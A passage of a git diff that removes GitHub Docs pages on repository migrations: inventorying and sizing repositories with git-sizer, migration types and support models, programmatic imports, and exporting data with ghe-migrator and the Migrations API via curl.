organization, but in other tools, there might be a different kind of owner -* URL -* Last updated timestamp -* Number of pull requests (or equivalent in your migration origin) -* Number of issues (or equivalent in your migration origin) - -If you’re migrating from {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}, you can obtain this data with the `gh-repo-stats` extension for the {% data variables.product.prodname_cli %}. With just a few commands, `gh-repo-stats` will connect with your migration origin's API and create a CSV with all of the recommended fields. For more information, see the [mona-actions/gh-repo-stats](https://github.com/mona-actions/gh-repo-stats/) repository. - -{% data reusables.enterprise-migration-tool.gh-repo-stats-not-supported %} - -If you’re migrating from Azure DevOps, we recommend the `inventory-report` command in the {% data variables.product.prodname_ado2gh_cli %}. The `inventory-report` command will connect with the Azure DevOps API, then build a simple CSV with some of the fields suggested above. For more information about how to install the {% data variables.product.prodname_ado2gh_cli %}, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud). - -If you’re migrating from Bitbucket Server or Bitbucket Data Center, we recommend the `inventory-report` command in the {% data variables.product.prodname_bbs2gh_cli %}. The `inventory-report` command will use your Bitbucket instance's API to build a simple CSV. For more information about how to install the {% data variables.product.prodname_bbs2gh_cli %}, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud). - -For other migration origins, create your migration inventory yourself. You could build the spreadsheet using the origin’s reporting tools, if available, or API, or you could create the inventory manually. - -Whatever approach you choose for your migration inventory, make a note of the process you followed or commands you ran. It’s very likely that you’ll want to re-run your inventory as you continue to plan your migration. - -After you have a list of all of your repositories, you can decide which ones you want to migrate. One option is to migrate absolutely everything. However, a migration is a great opportunity to evaluate your repositories and remove any that are no longer needed. We find that many business have hundreds or even thousands of unused and unneeded repositories, and archiving them can make your migration much simpler. - -### Measuring the sizes of your repositories - -After you’ve completed your basic migration inventory, collect information about the size of your repositories. If your repositories are large or contain individual files over 100MB, this can make your migration longer and riskier and limit the migration tools that are available to you. - -If you’re using Git as your version control system, it's not only large files currently in the repository that matter; large files in your repository's history matter too. For example, if you had a file larger than 100MB in your repository in the past, then that file will still be present in your Git history, unless you’ve rewritten the history to remove all traces of the file. For more information about rewriting history, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-a-file-that-was-added-in-an-earlier-commit). - -If you used `gh-repo-stats` to build your inventory, you’ll already have some basic information on how big your repositories are. To build a complete migration inventory, you'll need to obtain finer details about the data inside your repositories. - -Next, follow the instructions below to add the following data to your migration inventory for each repository: - -* The size of the largest file (also known as a “blob”) -* The total size of all files (“blobs”) - -If you’re using a version control system other than Git, or your files aren’t tracked with a version control system at all, first move the repositories to Git. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-the-command-line-to-import-source-code/adding-locally-hosted-code-to-github). - -Then, use the open-source tool, `git-sizer`, to get this data for your repository. - -### Prerequisites - -1. Install `git-sizer`. For more information, see the [github/git-sizer](https://github.com/github/git-sizer#getting-started) repository. -1. To verify that `git-sizer` is installed, run `git-sizer –version`. If you see output like `git-sizer release 1.5.0`, installation was successful. -1. Install `jq`. For more information, see [Download jq](https://stedolan.github.io/jq/download/) in the `jq` documentation. -1. To verify that `jq` is installed, run `jq –-version`. If you see output like `jq-1.6`, installation was successful. - -### Measuring repository size with `git-sizer` - -1. To clone your repository from the migration origin, run `git clone --mirror`. -1. Navigate to the directory where you cloned your repository. -1. To get the size of the largest file in your repository in bytes, run `git-sizer --no-progress -j | jq ".max_blob_size"`. -1. To get the total size of all files in your repository in bytes, run `git-sizer --no-progress -j | jq ".unique_blob_size"`. -1. Add the values from the previous steps to your inventory. - -## About migration types - -There are three approaches you can take when running a migration, which provide different levels of migration fidelity. - -Migration type | Definition | Requirements | --------------- | ---------- | ------------ | -Source snapshot | Migrate the current state of your code, as it is today, but don’t include any of the revision history. | Possible for every origin and destination, even if your code isn’t currently tracked in a version control system (VCS). -Source and history | Migrate the current state of your code and its revision history. | Possible if you've been tracking your changes in Git, or a version control system which can be converted to Git before the migration. -Source, history, and metadata | Migrate the current state of your code and its revision history, plus your collaboration history, such as issues and pull requests, and settings. | Requires specialist tools, which are not available for all migration paths. - -When deciding what type of migration to complete, consider your organization’s needs and the tools that are available. - -You may want to use different strategies for different repositories. For example, you may have some old, archived repositories where the history is not important, while a high-fidelity migration is critical for your most active code. - -## About our different migration support models - -You may choose to complete a "self-serve migration," where you plan and run your own migration using our documentation only, without any professional support from {% data variables.product.company_short %}. - -Alternatively, you may prefer to work with {% data variables.product.company_short %}'s Expert Services team or a {% data variables.product.company_short %} Partner, which we call an "expert-led migration." With an expert-led migration, you benefit from the knowledge and experience of an expert who has previously run tens or even hundreds of migrations, and you get access to additional migration tools that aren’t available for self-serve. - -If you're migrating a large amount of data, you're likely to benefit from an expert-led migration. For example, if you're migrating thousands of repositories, or you have complex repositories greater than around 5 GB in size, we recommend connecting with Expert Services. - -{% rowheaders %} - -| | Self-serve | Expert-led | -|---|------------|------------| -Access to documentation | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} -Access to {% data variables.product.company_short %}'s full range of tools | {% octicon "x" aria-label="Limited access" %} | {% octicon "check" aria-label="Full access" %} -Topics covered by support |
  • Execution
  • Troubleshooting
|
  • Planning
  • Execution
  • Troubleshooting
-Cost | Free of charge | Contact [Expert Services](https://github.com/services/) for details - -{% endrowheaders %} - -To learn more about expert-led migrations, contact your account representative or [Expert Services](https://github.com/services/). - -## Deciding what tools to use - -{% data reusables.migrations.about-migration-paths %} For more information, see [AUTOTITLE](/migrations/overview/migration-paths-to-github). - -## Designing your organization structure for the migration destination - -In {% data variables.product.prodname_dotcom %}, each repository belongs to an organization. {% data reusables.organizations.short-summary %} For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations). - -Whether you’re adopting {% data variables.product.prodname_dotcom %} for the first time or already using {% data variables.product.prodname_dotcom %}, pause to consider the most effective structure for your organizations and repositories after your migration. The design you choose can maximize collaboration and discovery and minimize administrative burden, or it can create unnecessary silos and administrative overhead. - -We recommend that you minimize the number of organizations and structure them according to one of five archetypes. For detailed guidance, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise). - -## Performing a dry run migration for every repository - -Before you continue planning, perform a dry run migration including all of your repositories. Comprehensive dry runs allow you to: - -* Verify that the tool you’ve chosen works for your repositories -* Confirm that the tool meets your requirements -* Understand exactly what data is migrated, and what data is not migrated -* Understand how long your migration will take, to help you schedule your production migration - -There’s nothing unique about a dry run migration. Just run a normal migration, then delete the repository in the migration destination. - -## Planning your pre-migration and post-migration steps - -Migrating your repositories is only one step in a larger migration process. There will be other steps you need to take, and possibly data or settings you’ll need to migrate manually. - -The full list of steps required for your migration will depend on your unique circumstances, but there are some pre-migration steps that apply to all migrations: - -* Let your users know ahead of time about the upcoming migration and its timeline -* Send reminders shortly before the migration takes place -* Set up user accounts in {% data variables.product.prodname_dotcom %} for your team -* Send instructions to your users for updating their local repositories to point to your new system - -There are also post-migration steps that apply to all migrations: - -* Let your users know that the migration is finished -* Link activity to users in your migration destination -* Decommission your migration origin - -Here are some other steps you should consider when planning your migration. - -### Migrating continuous integration (CI) and continuous delivery (CD) - -If you’re moving between {% data variables.product.company_short %} products, are already using {% data variables.product.prodname_actions %} for CI/CD, and will continue to use {% data variables.product.prodname_actions %}, there’s not much to do. The workflow files in your repositories will automatically be migrated for you. If you use self-hosted runners, you will need to set these up in your new {% data variables.product.prodname_dotcom %} organization, so they’re ready to run your workflows. - -If you’re not using {% data variables.product.prodname_actions %}, the situation is more complicated. If you plan to continue using the same CI/CD provider, you'll need to check that the provider is compatible with {% data variables.product.prodname_dotcom %}, and connect the provider to your new organization and repositories. - -If you're planning to switch to {% data variables.product.prodname_actions %}, we do not recommend doing so at the same time that you migrate your repositories. Instead, wait until a later date, and perform your CI/CD migration as a separate step. This makes the migration process more manageable. When you're ready to migrate, see [AUTOTITLE](/actions/migrating-to-github-actions). - -### Migrating integrations - -You’re likely to be using integrations with your code hosting provider, either developed in-house or provided by other vendors. - -If you’re already using {% data variables.product.prodname_dotcom %}, then you'll need to reconfigure your integrations to point to your new organizations and repositories. If the integration is provided by a vendor, contact the vendor for instructions. If the integration was developed in-house, reconfigure the integration in your new organization, generating new tokens and keys. - -If you’re new to {% data variables.product.prodname_dotcom %}, check whether your integrations are compatible with {% data variables.product.prodname_dotcom %}, then reconfigure them. If you use integrations that were developed in-house, re-write them to work with the {% data variables.product.prodname_dotcom %} API. For more information, see [AUTOTITLE](/rest). - -### Linking activity to users in your migration destination - -If you’re migrating collaboration history, or metadata, as well as code, you’ll need to link users' activity to their new identities in your migration destination. - -For example, suppose @octocat created an issue on {% data variables.location.product_location_enterprise %}, and you’re moving to {% data variables.product.prodname_ghe_cloud %}. In {% data variables.product.prodname_ghe_cloud %}, @octocat might have a completely different username. The attribution process allows you to link user activity with these new identities. - -The way that attribution works differs between tools: - -* If you’re using `ghe-migrator`, `gl-exporter`, or `bbs-exporter`, you will decide how you want to attribute data ahead of time and include a mapping file when you import your data. -* If you’re using {% data variables.product.prodname_importer_proper_name %}, data will be linked to placeholder identities called “mannequins”, and you can assign this history to real users after your data is migrated. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/reclaiming-mannequins-for-github-enterprise-importer). - -### Managing teams and permissions - -Most customers use teams to manage access to repositories. With teams, instead of giving Mona access to a repository directly, you can add Mona to the Engineering team, and give everyone in the Engineering team access to the repository. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -You can create your teams and add team members before you migrate your repositories. You may want to manage your members through your identity provider (IdP) by linking your teams to IdP groups. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group). - -However, you can’t attach your teams to repositories until after you've migrated the repositories. diff --git a/content/migrations/overview/programmatically-importing-repositories.md b/content/migrations/overview/programmatically-importing-repositories.md deleted file mode 100644 index b43b835c8a5e..000000000000 --- a/content/migrations/overview/programmatically-importing-repositories.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Programmatically importing repositories -shortTitle: Programmatic repository imports -intro: 'You can programmatically import repositories to {% data variables.product.prodname_dotcom %}.' -versions: - feature: source-imports-api-deprecation -type: tutorial ---- - -## About programmatic import of repositories - -In the following guide, you can learn how to programmatically run "source and history" migrations of Git repositories to {% data variables.product.prodname_dotcom %}. Different options are available depending on where the repository is stored. - -To learn more about "source and history" and other types of migrations, see [AUTOTITLE](/migrations/overview/planning-your-migration-to-github). - -The term "source repository" refers to the repository you're importing, and "imported repository" refers to the new repository you're creating. - -## Using forks - -If the source repository is on {% data variables.product.prodname_dotcom %}, you may be able to use a fork instead of importing the repository. {% data reusables.repositories.about-forks %} For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks). - -You can programmatically fork a repository using the REST API. For more information, see [AUTOTITLE](/rest/repos/forks). - -If your use case meets any of the following criteria, you can't use forking instead of directly importing your repository. - -* You want the imported repository to be owned by the same user or organization as the source repository. -* You want one user or organization to be able to import the same source repository multiple times. - -## Using repository templates - -If the source repository is on {% data variables.product.prodname_dotcom %}, you may be able to use repository templates. {% data reusables.repositories.about-template-repositories %} For more details, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository). - -To use repository templates, you must either have read access to an existing repository that's a template, or you must have access to create a template. - -You can programmatically create a repository from a repository template using the REST API. For more information, see [AUTOTITLE](/rest/repos/repos). - -## Using {% data variables.product.prodname_importer_proper_name %} - -If the source repository is hosted on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_ghe_server %}, Azure DevOps Services, Bitbucket Server, or Bitbucket Data Center, you can import the repository using {% data variables.product.prodname_importer_proper_name %}. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer). - -In addition to your source and version control history, {% data variables.product.prodname_importer_proper_name %} also migrates issues, pull requests, settings, and more. - -To use {% data variables.product.prodname_importer_proper_name %}, you must have admin access to the source repository. - -You can programmatically import repositories with {% data variables.product.prodname_importer_proper_name %} using the GraphQL API. - -## Using the Git CLI - -If the source repository is a Git repository, you can call the Git CLI programmatically from your code. You can programmatically create a repository using {% data variables.product.prodname_dotcom %}'s REST API, then use commands like `git clone` and `git push` to import the repository to {% data variables.product.prodname_dotcom %}. - -How you call the Git CLI differs depending on your code's language. For example, in Node.js, you can use the `child_process` module, or in Ruby, you can use the `open3` module. For more information, see [Child process](https://nodejs.org/api/child_process.html) in the Node.js documentation or the [ruby/open3 repository](https://github.com/ruby/open3) on {% data variables.product.prodname_dotcom %}. - -To use the Git CLI, you must have access to install Git on the system that hosts your application. For more information, see [Getting Started - Installing Git](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git) in the Git documentation. - -## Using {% data variables.product.prodname_cli %} - -If the source repository is a Git repository, you can call the {% data variables.product.prodname_cli %} programmatically from your code. You can use `gh repo create` to create a repository. For more information, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -## Further reading - -* [AUTOTITLE](/rest/repos/repos) diff --git a/content/migrations/using-ghe-migrator/about-ghe-migrator.md b/content/migrations/using-ghe-migrator/about-ghe-migrator.md deleted file mode 100644 index c81c9defed59..000000000000 --- a/content/migrations/using-ghe-migrator/about-ghe-migrator.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: About ghe-migrator -intro: 'You can use `ghe-migrator` to transfer data from a *source* location (either a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance.' -redirect_from: - - /enterprise/admin/migrations/about-migrations - - /enterprise/admin/user-management/about-migrations - - /admin/user-management/about-migrations - - /admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Enterprise - - Migration ---- - -## Types of migrations - -There are three types of migrations you can perform: - -* A migration from a {% data variables.product.prodname_ghe_server %} instance to another existing {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by any user or organization on the instance. Before performing a migration, you must have site administrator access to both instances. -* A migration from a {% data variables.product.prodname_dotcom_the_website %} organization to a {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by the organization. Before performing a migration, you must have [administrative access](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) to the {% data variables.product.prodname_dotcom_the_website %} organization as well as site administrator access to the target instance. -* _Trial runs_ are migrations that import data to a [staging instance]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). These can be useful to see what _would_ happen if a migration were applied to {% data variables.location.product_location %}. **We strongly recommend that you perform a trial run on a staging instance before importing data to your production instance.** - -> [!NOTE] -> The use of ghe-migrator is **not recommended** for transferring a {% data variables.product.prodname_ghe_server %} instance between hypervisors. Instead, we suggest either backing up and restoring to the new location with {% data variables.product.prodname_enterprise_backup_utilities %}, or creating a replica in the new location and then failing over to the replica appliance. For more information, see [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance), [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica) and [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance). - -## Migrated data - -With ghe-migrator, everything revolves around a repository. Most data associated with a repository can be migrated. For example, a repository within an organization will migrate the repository _and_ the organization, as well as any users, teams, issues, and pull requests associated with the repository. - -The items in the table below can be migrated with a repository. Any items not shown in the list of migrated data cannot be migrated, including {% data variables.large_files.product_name_short %} assets. - -{% data reusables.enterprise_migrations.fork-persistence %} - -| Data associated with a migrated repository | Notes | -|---------------------------------------------|--------| -| Users | **@mentions** of users are rewritten to match the target. -| Organizations | An organization's name and details are migrated. -| Repositories | Links to Git trees, blobs, commits, and lines are rewritten to match the target. Internal repositories are migrated as private repositories. Archive status is unset. -| Wikis | All wiki data is migrated. -| Teams | **@mentions** of teams are rewritten to match the target. -| Milestones | Timestamps are preserved. -| {% data variables.product.prodname_projects_v1_caps %} boards | {% data variables.projects.projects_v1_boards_caps %} associated with the repository and with the organization that owns the repository are migrated. {% data variables.product.prodname_projects_v2 %}, the all-new projects experience, is not supported. -| Issues | Issue references and timestamps are preserved. -| Issue comments | Cross-references to comments are rewritten for the target instance. -| Pull requests | Cross-references to pull requests are rewritten to match the target. Timestamps are preserved. -| Pull request reviews | Pull request reviews and associated data are migrated. -| Pull request review comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved. File-level comments are not migrated. -| Commit comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved. -| Releases | All releases data is migrated. -| Actions taken on pull requests or issues | All modifications to pull requests or issues, such as assigning users, renaming titles, and modifying labels are preserved, along with timestamps for each action. -| File attachments | [File attachments on issues and pull requests](/get-started/writing-on-github/working-with-advanced-formatting/attaching-files) are migrated. You can choose to disable this as part of the migration. -| Webhooks | Only active webhooks are migrated. -| Repository deploy keys | Repository deploy keys are migrated. -| Protected branches | Protected branch settings and associated data are migrated. - -## About migration of external authentication data - -If the source location for your migration is a {% data variables.product.company_short %} product that uses LDAP or SAML authentication, `ghe-migrator` does not migrate external authentication data linked to user accounts. For more information about authentication options, see {% data variables.product.prodname_ghe_server %}, see "About authentication for your enterprise" in the [{% data variables.product.prodname_ghe_server %} docs](/enterprise-server@latest/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise) or the [{% data variables.product.prodname_ghe_cloud %} docs](/enterprise-cloud@latest/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). - -If you migrate to a destination instance and then configure external authentication, users must sign in to the destination instance with a user account that has the same username or user ID as the account on the source instance. Administrators can review the external attribute that an instance uses to map user account names from the {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/administering-your-instance/administering-your-instance-from-the-web-ui/accessing-the-management-console). diff --git a/content/migrations/using-ghe-migrator/exporting-migration-data-from-github-enterprise-server.md b/content/migrations/using-ghe-migrator/exporting-migration-data-from-github-enterprise-server.md deleted file mode 100644 index b61601106bf5..000000000000 --- a/content/migrations/using-ghe-migrator/exporting-migration-data-from-github-enterprise-server.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Exporting migration data from GitHub Enterprise Server -intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.' -redirect_from: - - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise - - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server - - /enterprise/admin/migrations/preparing-the-github-enterprise-server-source-instance - - /enterprise/admin/migrations/exporting-the-github-enterprise-server-source-repositories - - /enterprise/admin/guides/migrations/preparing-the-github-enterprise-source-instance - - /enterprise/admin/guides/migrations/exporting-the-github-enterprise-source-repositories - - /enterprise/admin/user-management/exporting-migration-data-from-your-enterprise - - /admin/user-management/exporting-migration-data-from-your-enterprise - - /admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - API - - Enterprise - - Migration -shortTitle: Export from GHES ---- - -## Preparing the {% data variables.product.prodname_ghe_server %} source instance - -1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -1. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance. - -{% data reusables.enterprise_migrations.make-a-list %} - -## Exporting the {% data variables.product.prodname_ghe_server %} source repositories - -{% data reusables.enterprise_migrations.locking-repositories %} - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To prepare a repository for export, use the `ghe-migrator add` command with the repository's URL: - * If you're locking the repository, append the command with `--lock`. If you're performing a trial run, `--lock` is not needed. - - ```shell - ghe-migrator add https://HOSTNAME/USERNAME/REPO-NAME --lock - ``` - - * You can exclude file attachments by appending `--exclude_attachments` to the command. {% data reusables.enterprise_migrations.exclude-file-attachments %} - * To prepare multiple repositories at once for export, create a text file listing each repository URL on a separate line, and run the `ghe-migrator add` command with the `-i` flag and the path to your text file. - - ```shell - ghe-migrator add -i PATH/TO/YOUR/REPOSITORY_URL.txt - ``` - -1. When prompted, enter your {% data variables.product.prodname_ghe_server %} username: - - ```shell - Enter username authorized for migration: admin - ``` - -1. When prompted for a {% data variables.product.pat_generic %}, enter the access token you created in [Preparing the {% data variables.product.prodname_ghe_server %} source instance](#preparing-the-github-enterprise-server-source-instance): - - ```shell - Enter {% data variables.product.pat_generic %}: ************** - ``` - -1. When `ghe-migrator add` has finished it will print the unique "Migration GUID" that it generated to identify this export as well as a list of the resources that were added to the export. You will use the Migration GUID that it generated in subsequent `ghe-migrator add` and `ghe-migrator export` steps to tell `ghe-migrator` to continue operating on the same export. - - ```shell - > 101 models added to export - > Migration GUID: EXAMPLE-MIGRATION-GUID - > Number of records in this migration: - > users | 5 - > organizations | 1 - > repositories | 1 - > teams | 3 - > protected_branches | 1 - > pull_request_reviews | 1 - > milestones | 1 - > issues | 3 - > pull_requests | 5 - > pull_request_review_comments | 4 - > commit_comments | 2 - > issue_comments | 10 - > issue_events | 63 - > releases | 3 - > attachments | 4 - > projects | 2 - ``` - - Each time you add a new repository with an existing Migration GUID it will update the existing export. If you run `ghe-migrator add` again without a Migration GUID it will start a new export and generate a new Migration GUID. **Do not re-use the Migration GUID generated during an export when you start preparing your migration for import**. - -1. To add more repositories to the same export, use the `ghe-migrator add` command with the `-g` flag. You'll pass in the new repository URL and the Migration GUID from Step 5: - - ```shell - ghe-migrator add https://HOSTNAME/USERNAME/OTHER-REPO-NAME -g MIGRATION-GUID --lock - ``` - -1. When you've finished adding repositories, generate the migration archive using the `ghe-migrator export` command with the `-g` flag and the Migration GUID from Step 5: - - ```shell - $ ghe-migrator export -g MIGRATION-GUID - > Archive saved to: /data/github/current/tmp/MIGRATION-GUID.tar.gz - ``` - - * {% data reusables.enterprise_migrations.specify-staging-path %} - -1. Close the connection to {% data variables.location.product_location %}: - - ```shell - $ exit - > logout - > Connection to HOSTNAME closed. - ``` - -1. Copy the migration archive to your computer using the [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) command. The archive file will be named with the Migration GUID: - - ```shell - scp -P 122 admin@HOSTNAME:/data/github/current/tmp/MIGRATION-GUID.tar.gz ~/Desktop - ``` - -{% data reusables.enterprise_migrations.ready-to-import-migrations %} diff --git a/content/migrations/using-ghe-migrator/exporting-migration-data-from-githubcom.md b/content/migrations/using-ghe-migrator/exporting-migration-data-from-githubcom.md deleted file mode 100644 index a7382f25b175..000000000000 --- a/content/migrations/using-ghe-migrator/exporting-migration-data-from-githubcom.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Exporting migration data from GitHub.com -intro: 'You can export migration data from an organization on {% data variables.product.prodname_dotcom_the_website %} by using the API to select repositories to migrate, then generating a migration archive that you can import into a {% data variables.product.prodname_ghe_server %} instance.' -redirect_from: - - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-com - - /enterprise/admin/migrations/exporting-migration-data-from-githubcom - - /enterprise/admin/migrations/preparing-the-githubcom-source-organization - - /enterprise/admin/migrations/exporting-the-githubcom-organizations-repositories - - /enterprise/admin/guides/migrations/preparing-the-github-com-source-organization - - /enterprise/admin/guides/migrations/exporting-the-github-com-organization-s-repositories - - /enterprise/admin/user-management/exporting-migration-data-from-githubcom - - /admin/user-management/exporting-migration-data-from-githubcom - - /admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - API - - Enterprise - - Migration -shortTitle: Export from GitHub.com ---- -## Preparing the source organization on {% data variables.product.prodname_dotcom %} - -1. Ensure that you have [owner permissions](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) on the source organization's repositories. - -1. {% data reusables.enterprise_migrations.token-generation %} on {% data variables.product.prodname_dotcom_the_website %}. - -{% data reusables.enterprise_migrations.make-a-list %} - -## Exporting the organization's repositories - -{% data reusables.enterprise_migrations.fork-persistence %} - -To export repository data from {% data variables.product.prodname_dotcom_the_website %}, use [the Migrations API](/free-pro-team@latest/rest/migrations). - -The Migrations API is currently in a preview period, which means that the endpoints and parameters may change in the future. - -## Generating a migration archive - -{% data reusables.enterprise_migrations.locking-repositories %} - -1. Notify members of your organization that you'll be performing a migration. The export can take several minutes, depending on the number of repositories being exported. The full migration including import may take several hours so we recommend doing a trial run in order to determine how long the full process will take. For more information, see [AUTOTITLE](/migrations/using-ghe-migrator/about-ghe-migrator#types-of-migrations). - -1. Start a migration by sending a `POST` request to [the migration endpoint](/free-pro-team@latest/rest/migrations#start-an-organization-migration). You'll need: - * Your access token for authentication. - * A [list of the repositories](/free-pro-team@latest/rest/repos#list-organization-repositories) you want to migrate: - - ```shell - curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ - -X POST \ - -H "Accept: application/vnd.github+json" \ - -d'{"lock_repositories":true,"repositories":["ORG_NAME/REPO_NAME", "ORG_NAME/REPO_NAME"]}' \ - https://api.github.com/orgs/ORG_NAME/migrations - ``` - - * If you want to lock the repositories before migrating them, make sure `lock_repositories` is set to `true`. This is highly recommended. - * You can exclude file attachments by passing `exclude_attachments: true` to the endpoint. {% data reusables.enterprise_migrations.exclude-file-attachments %} The final archive size must be less than 20 GB. - - This request returns a unique `id` which represents your migration. You'll need it for subsequent calls to the Migrations API. - -1. Send a `GET` request to [the migration status endpoint](/free-pro-team@latest/rest/migrations#get-an-organization-migration-status) to fetch the status of a migration. You'll need: - * Your access token for authentication. - * The unique `id` of the migration: - - ```shell - curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ - -H "Accept: application/vnd.github+json" \ - https://api.github.com/orgs/ORG_NAME/migrations/ID - ``` - - A migration can be in one of the following states: - * `pending`, which means the migration hasn't started yet. - * `exporting`, which means the migration is in progress. - * `exported`, which means the migration finished successfully. - * `failed`, which means the migration failed. - -1. After your migration has exported, download the migration archive by sending a `GET` request to [the migration download endpoint](/free-pro-team@latest/rest/migrations#download-an-organization-migration-archive). You'll need: - * Your access token for authentication. - * The unique `id` of the migration: - - ```shell - curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ - -H "Accept: application/vnd.github+json" \ - -L -o migration_archive.tar.gz \ - https://api.github.com/orgs/ORG_NAME/migrations/ID/archive - ``` - -1. The migration archive is automatically deleted after seven days. If you would prefer to delete it sooner, you can send a `DELETE` request to [the migration archive delete endpoint](/free-pro-team@latest/rest/migrations#delete-an-organization-migration-archive). You'll need: - * Your access token for authentication. - * The unique `id` of the migration: - - ```shell - curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" \ - -X DELETE \ - -H "Accept: application/vnd.github+json" \ - https://api.github.com/orgs/ORG_NAME/migrations/ID/archive - ``` - -{% data reusables.enterprise_migrations.ready-to-import-migrations %} diff --git a/content/migrations/using-ghe-migrator/index.md b/content/migrations/using-ghe-migrator/index.md deleted file mode 100644 index 065d4c5714de..000000000000 --- a/content/migrations/using-ghe-migrator/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Using ghe-migrator -intro: "You can use `ghe-migrator` to migrate user, organization, and repository data to {% data variables.location.product_location_enterprise %} from {% data variables.product.prodname_dotcom_the_website %} or another {% data variables.product.prodname_ghe_server %} instance." -redirect_from: - - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise - - /enterprise/admin/categories/migrations-and-upgrades - - /enterprise/admin/migrations/overview - - /enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise - - /admin/user-management/migrating-data-to-and-from-your-enterprise -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Enterprise -children: - - /about-ghe-migrator - - /exporting-migration-data-from-github-enterprise-server - - /exporting-migration-data-from-githubcom - - /migrating-data-to-github-enterprise-server -shortTitle: ghe-migrator ---- diff --git a/content/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server.md b/content/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server.md deleted file mode 100644 index b473266d16ee..000000000000 --- a/content/migrations/using-ghe-migrator/migrating-data-to-github-enterprise-server.md +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: Migrating data to GitHub Enterprise Server -intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.' -redirect_from: - - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise - - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server - - /enterprise/admin/migrations/reviewing-migration-data - - /enterprise/admin/migrations/completing-the-import-on-github-enterprise-server - - /enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise - - /enterprise/admin/guides/migrations/reviewing-the-imported-data - - /enterprise/admin/guides/migrations/completing-the-import-on-github-enterprise - - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise-server - - 